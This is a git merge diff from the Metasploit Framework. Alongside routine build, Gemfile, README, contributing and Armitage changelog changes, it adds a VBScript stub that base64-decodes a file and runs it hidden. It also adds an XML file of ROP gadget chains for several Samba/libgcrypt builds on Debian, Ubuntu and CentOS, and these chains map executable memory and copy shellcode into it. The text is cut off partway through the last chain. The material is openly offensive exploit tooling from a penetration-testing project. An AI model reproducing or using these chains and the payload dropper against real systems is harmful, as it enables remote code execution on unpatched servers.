Merge branch 'master' into nullbind-mssql_linkcrawler
commit
cddda9eab7
|
@ -6,6 +6,8 @@
|
|||
.yardoc
|
||||
# Mac OS X files
|
||||
.DS_Store
|
||||
# simplecov coverage data
|
||||
coverage
|
||||
data/meterpreter/ext_server_pivot.dll
|
||||
data/meterpreter/ext_server_pivot.x64.dll
|
||||
doc
|
||||
|
|
|
@ -0,0 +1,8 @@
|
|||
language: ruby
|
||||
rvm:
|
||||
- '1.8.7'
|
||||
- '1.9.3'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
@ -0,0 +1,33 @@
|
|||
# Contributing to Metasploit
|
||||
|
||||
## Reporting Bugs
|
||||
|
||||
If you would like to report a bug, please take a look at [our Redmine
|
||||
issue
|
||||
tracker](https://dev.metasploit.com/redmine/projects/framework/issues?query_id=420)
|
||||
-- your bug may already have been reported there! Simply [searching](https://dev.metasploit.com/redmine/projects/framework/search) for some appropriate keywords may save everyone a lot of hassle.
|
||||
|
||||
If your bug is new and you'd like to report it you will need to
|
||||
[register
|
||||
first](https://dev.metasploit.com/redmine/account/register). Don't
|
||||
worry, it's easy and fun and takes about 30 seconds.
|
||||
|
||||
## Contributing Metasploit Modules
|
||||
|
||||
If you have an exploit that you'd like to contribute to the Metasploit
|
||||
Framework, please familiarize yourself with the
|
||||
**[HACKING](https://github.com/rapid7/metasploit-framework/blob/master/HACKING)**
|
||||
document in the
|
||||
Metasploit-Framework repository. There are many mysteries revealed in
|
||||
HACKING concerning code style and content.
|
||||
|
||||
[Pull requests](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
should corellate with modules at a 1:1 ratio
|
||||
-- there is rarely a good reason to have two, three, or ten modules on
|
||||
one pull request, as this dramatically increases the review time
|
||||
required to land (commit) any of those modules.
|
||||
|
||||
Pull requests tend to be very collaborative for Metasploit -- do not be
|
||||
surprised if your pull request to rapid7/metasploit-framework triggers a
|
||||
pull request back to your own fork. In this way, we can isolate working
|
||||
changes before landing your PR to the Metasploit master branch.
|
5
Gemfile
5
Gemfile
|
@ -5,7 +5,7 @@ gem 'activesupport', '>= 3.0.0'
|
|||
# Needed for Msf::DbManager
|
||||
gem 'activerecord'
|
||||
# Database models shared between framework and Pro.
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git'
|
||||
gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0'
|
||||
# Needed for module caching in Mdm::ModuleDetails
|
||||
gem 'pg', '>= 0.11'
|
||||
|
||||
|
@ -24,4 +24,7 @@ end
|
|||
group :test do
|
||||
# testing framework
|
||||
gem 'rspec'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
end
|
||||
|
|
12
Gemfile.lock
12
Gemfile.lock
|
@ -1,8 +1,9 @@
|
|||
GIT
|
||||
remote: git://github.com/rapid7/metasploit_data_models.git
|
||||
revision: dd6c3a31c5ad8b55f4913b5ba20307178ba9c7bf
|
||||
revision: 73f26789500f278dd6fd555e839d09a3b81a05f4
|
||||
tag: 0.3.0
|
||||
specs:
|
||||
metasploit_data_models (0.0.2)
|
||||
metasploit_data_models (0.3.0)
|
||||
activerecord
|
||||
activesupport
|
||||
pg
|
||||
|
@ -27,7 +28,7 @@ GEM
|
|||
coderay (1.0.8)
|
||||
diff-lcs (1.1.3)
|
||||
i18n (0.6.1)
|
||||
method_source (0.8)
|
||||
method_source (0.8.1)
|
||||
multi_json (1.3.6)
|
||||
pg (0.14.1)
|
||||
pry (0.9.10)
|
||||
|
@ -44,6 +45,10 @@ GEM
|
|||
rspec-expectations (2.11.3)
|
||||
diff-lcs (~> 1.1.3)
|
||||
rspec-mocks (2.11.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
slop (3.3.3)
|
||||
tzinfo (0.3.33)
|
||||
yard (0.8.2.1)
|
||||
|
@ -59,4 +64,5 @@ DEPENDENCIES
|
|||
rake
|
||||
redcarpet
|
||||
rspec
|
||||
simplecov (= 0.5.4)
|
||||
yard
|
||||
|
|
|
@ -1,5 +1,5 @@
|
|||
|
||||
Metasploit
|
||||
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.png)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://codeclimate.com/badge.png)](https://codeclimate.com/github/rapid7/metasploit-framework)
|
||||
==
|
||||
The Metasploit Framework is released under a BSD-style license. See
|
||||
COPYING for more details.
|
||||
|
@ -40,10 +40,11 @@ reading some of the great tutorials online:
|
|||
|
||||
Contributing
|
||||
--
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on github which will
|
||||
See the [Dev Environment Setup][wiki-devenv] guide on GitHub which will
|
||||
walk you through the whole process starting from installing all the
|
||||
dependencies, to cloning the repository, and finally to submitting a
|
||||
pull request.
|
||||
pull request. For slightly more info, see
|
||||
[Contributing](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md).
|
||||
|
||||
|
||||
[wiki-devenv]: https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Development-Environment "Metasploit Development Environment Setup"
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -1,6 +1,29 @@
|
|||
Armitage Changelog
|
||||
==================
|
||||
|
||||
26 Nov 12 (tested against msf 16114)
|
||||
---------
|
||||
- Windows command shell tab is now friendlier to commands that prompt
|
||||
for input (e.g., time command)
|
||||
- [host] -> Meterpreter -> Access -> Escalate Privileges now shows all
|
||||
the framework's new exploit/windows/local modules too
|
||||
- [host] -> Shell -> Post Modules now shows the framework's unix/local
|
||||
and exploit/linux/local modules
|
||||
- Added Ctrl+I shortcut. Lets you choose a session to interact with.
|
||||
- Added Steal Token button to Processes dialog.
|
||||
- Armitage now asks Metasploit for a non-expiring authentication token.
|
||||
This will prevent Armitage from losing its access to msfrpcd when you
|
||||
put your computer to sleep or pause the VM running Metasploit.
|
||||
- add_user and add_[local]group_user now show all of their output when
|
||||
the -h flag is used to operate on a remote host.
|
||||
- added a Delete menu to creds table. Right-click a cred to delete it
|
||||
|
||||
Cortana Updates (for scripters)
|
||||
--------
|
||||
- aliased &data_delete to &data_clear to match the documentation.
|
||||
- &file_get, &loot_get, and &file_content no longer delete the remote
|
||||
file when connected to a teamserver.
|
||||
|
||||
16 Oct 12 (tested against msf 15972)
|
||||
---------
|
||||
- Added port 5985 to MSF Scans list.
|
||||
|
|
|
@ -0,0 +1,41 @@
|
|||
echo Set fs = CreateObject("Scripting.FileSystemObject") >>decode_stub
|
||||
echo Set file = fs.GetFile("ENCODED") >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile("ENCODED", 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, "") >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile("DECODED", 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo Set shell = CreateObject("Wscript.Shell") >>decode_stub
|
||||
echo shell.run "DECODED", 0, false >>decode_stub
|
||||
echo Wscript.sleep(1000 * 60 * 5) >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo "The file is empty." >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,436 @@
|
|||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||||
<db>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Debian Squeeze / 2:3.5.6~dfsg-3squeeze6</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2 LGPL Crypto library - runtime library
|
||||
b6977000-b69e8000 r-xp 00000000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
b69e8000-b69eb000 rw-p 00070000 08:01 160176 /usr/lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004d44">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071af4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00009974">jmp eax</gadget>
|
||||
<gadget offset="0x00004d41">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006a761">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004159f">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d4c3">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c01b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003da28">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x000538c4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00071b6c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00055743">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006e61f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x00063dbf">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x000166f7">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005c914"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006e61f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060a1a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ad4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00008505">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00004d0c">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005b68a">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
|
||||
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
<target>Ubuntu 11.10 / 2:3.5.11~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.5.0-1 LGPL Crypto library - runtime library
|
||||
b69e3000-b6a65000 r-xp 00000000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a65000-b6a66000 r**p 00081000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
b6a66000-b6a68000 rw-p 00082000 08:01 148828 /lib/i386-linux-gnu/libgcrypt.so.11.7.0
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">offset of .got.plt section</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x000830a4">mmap@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007d79">jmp eax</gadget>
|
||||
<gadget offset="0x00005646">add esp, 0x1C; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006fe61">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00084000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00046dcd">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget offset="0x00008532">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000438ad">mov eax, ecx ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x000056e8">mov edx, eax ; mov eax, edx ; ret || edx = eax = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006933f">pop eax ; ret</gadget>
|
||||
<gadget offset="0x00084100">eax = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000048ee">pop ebx ; ret</gadget>
|
||||
<gadget offset="0x00084100">ebx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x0004cccf">push esp ; add dword [eax], eax ; add byte [ebx+0x5E], bl ; pop edi ; pop ebp ; ret || edi = esp</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp</gadget>
|
||||
<gadget offset="0x00020bad">mov eax, edi ; pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk for ebx</gadget>
|
||||
<gadget value ="0x00000048">esi = value to add to esp to point to shellcode</gadget>
|
||||
<gadget value ="0x00000000">junk for edi</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret</gadget>
|
||||
<gadget offset="0x0000c39c">add ebx, esi ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006933f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00083024">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x0001a0d4">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0001ffef">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00004803">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00082ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007af3">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x000104c5">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0001fdfa">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcr
|
||||
ii libgcrypt11 1.4.6-4ubuntu2 LGPL Crypto library - runtime library
|
||||
b69f8000-b6a69000 r-xp 00000000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a69000-b6a6a000 r**p 00070000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
b6a6a000-b6a6c000 rw-p 00071000 08:01 17571 /lib/i386-linux-gnu/libgcrypt.so.11.6.0
|
||||
|
||||
we arrive on rop chain with pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
|
||||
4 first pops are after pop esp
|
||||
-->
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00071ff4">ebx = offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x00007f19">jmp eax</gadget>
|
||||
<gadget offset="0x000046b1">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x00041b85">mov dword [edx], eax ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005822d">esi = pop ebx ; pop esi ; pop edi ; ret</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d903">xchg eax, edx ; ret || edx = eax , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x00043cd5">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000008 ; call esi || after call, esi = esp </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x00005c60">xchg eax, esi ; ret</gadget>
|
||||
<gadget offset="0x0005c45c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053dc4">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || ebx = src in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">writable add in GOT - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd54">xchg eax, ecx ; ret || ecx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x000641ff">pop eax; ret</gadget>
|
||||
<gadget offset="0x0007204c">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00017af7">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x0005c6e9">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<gadget offset="0x00060e5a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007d05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x0005822d">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x0005baca">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
dpkg -l|grep libgcrypt
|
||||
ii libgcrypt11 1.4.5-2ubuntu1 LGPL Crypto library - runtime library
|
||||
b6a20000-b6a91000 r-xp 00000000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a91000-b6a92000 r**p 00070000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
b6a92000-b6a94000 rw-p 00071000 08:01 17247 /lib/libgcrypt.so.11.5.3
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004634">pop ebx ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">offset of .got.plt section</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072010">mmap@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @mmap</gadget>
|
||||
<gadget offset="0x0000922c">jmp eax</gadget>
|
||||
<gadget offset="0x00004631">add esp, 0x14 ; pop ebx ; pop ebp ; ret || mmap ret, skip overt mmap arguments</gadget>
|
||||
<gadget value ="0x00000000">mmap arg : addr</gadget>
|
||||
<gadget value ="0x00001000">mmap arg : size</gadget>
|
||||
<gadget value ="0x00000007">mmap arg : PROT_READ | PROT_WRITE | PROT_EXEC</gadget>
|
||||
<gadget value ="0x00000022">mmap arg : MAP_PRIVATE | MAP_ANON</gadget>
|
||||
<gadget value ="0xffffffff">mmap arg : filedes </gadget>
|
||||
<gadget value ="0x00000000">mmap arg : off_t </gadget>
|
||||
<gadget value ="0x00000000">junk to be skipped over</gadget>
|
||||
<gadget offset="0x0006abc1">pop edx ; inc ebx ; ret</gadget>
|
||||
<gadget offset="0x00073000">edx = writable location, in GOT</gadget>
|
||||
<gadget offset="0x000417af">mov dword [edx], eax ; mov byte [edx+0x06], cl ; mov byte [edx+0x07], al ; pop ebp ; ret || save EAX (mmaped addr) in GOT</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x0005d923">xchg eax, edx ; ret || edx = MMAPed addr, dst in memcpy</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x0005c47b">pop ebp ; pop ecx ; ret || ecx = esp</gadget>
|
||||
<gadget offset="0x0003dbd8">push esp ; and al, 0x0C ; call esi</gadget>
|
||||
<gadget offset="0x0006421f">pop eax ; ret</gadget>
|
||||
<gadget value ="0x0000005c">eax = value to add to esp to point to shellcode</gadget>
|
||||
<gadget offset="0x00053c64">add eax, ecx ; pop edi ; pop ebp ; ret</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || ebx = esp + XX == src in memcpy</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072094">memcpy@got - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = @memcpy</gadget>
|
||||
<gadget offset="0x00043999">xchg eax, ebx ; ret || eax = src in memcpy , ebx = @memcpy</gadget>
|
||||
<!-- set ecx to same value than edx -->
|
||||
<gadget offset="0x0006ea7f">xchg eax, esi ; ret || save eax</gadget>
|
||||
<gadget offset="0x0006421f">pop eax; ret</gadget>
|
||||
<gadget offset="0x00072ffc">saved mmaped addr - 4</gadget>
|
||||
<gadget offset="0x00016297">mov eax, dword [eax+0x04] ; ret || eax = saved mmaped addr</gadget>
|
||||
<gadget offset="0x0005cd74"> xchg eax, ecx ; ret ; || edx = ecx , after memcpy, ret on edx, ie mmaped addr</gadget>
|
||||
<gadget offset="0x0006ea7f"> xchg eax, esi ; ret ; || restore eax</gadget>
|
||||
<gadget offset="0x00060e7a">pop esi ; ret</gadget>
|
||||
<gadget offset="0x00071ff4">esi = offset of .got.plt section</gadget>
|
||||
<gadget offset="0x00007e05">pop edi ; pop ebp **1** ; ret</gadget>
|
||||
<gadget offset="0x00058245">(P) pop ebx ; pop esi ; pop edi ; ret || pop .got.plt in ebx (was pushed through esi with pushad)</gadget>
|
||||
<gadget value ="0x00000000">junk for ebp **1** </gadget>
|
||||
<gadget offset="0x000128cc">pushad ; ret || will ret on gadget (P) which was in edi</gadget>
|
||||
<gadget value ="size">payload size</gadget>
|
||||
</gadgets>
|
||||
|
||||
|
||||
</rop>
|
||||
|
||||
<rop>
|
||||
<compatibility>
|
||||
<target>3.5.10-0.107.el5 on CentOS 5</target>
|
||||
</compatibility>
|
||||
|
||||
<!--
|
||||
yum list |grep libgcrypt
|
||||
libgcrypt.i386 1.4.4-5.el5 installed
|
||||
02c63000-02ce1000 r-xp 00000000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
02ce1000-02ce4000 rwxp 0007d000 fd:00 929390 /usr/lib/libgcrypt.so.11.5.2
|
||||
section is writable and executable, we'll copy the shellcode over there instead of using mmap
|
||||
-->
|
||||
|
||||
<gadgets base="0">
|
||||
<gadget offset="0x00004277">pop esi ; pop ebp ; ret</gadget>
|
||||
<gadget offset="0x0005e842">pop eax ; pop ebx ; pop esi ; pop edi ; ret || eax = ret eip from call esi, ebx = esp, esi = edi = junk</gadget>
|
||||
<gadget value ="0x00000000">ebp = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00028374">push esp ; and al, 0x08 ; mov dword [esp+0x04], 0x00000007 ; call esi</gadget>
|
||||
<gadget value ="0x00000000">esi = junk to be skipped over</gadget>
|
||||
<gadget value ="0x00000000">edi = junk to be skipped over</gadget>
|
||||
<gadget offset="0x00062c29">xchg eax, ebx ; ret || eax = esp</gadget>
|
||||
<gadget offset="0x0006299c">pop ecx ; ret</gadget>
|
||||
<gadget value ="0x0000005c">value to add to esp to point to shellcode</gadget>
|
||||
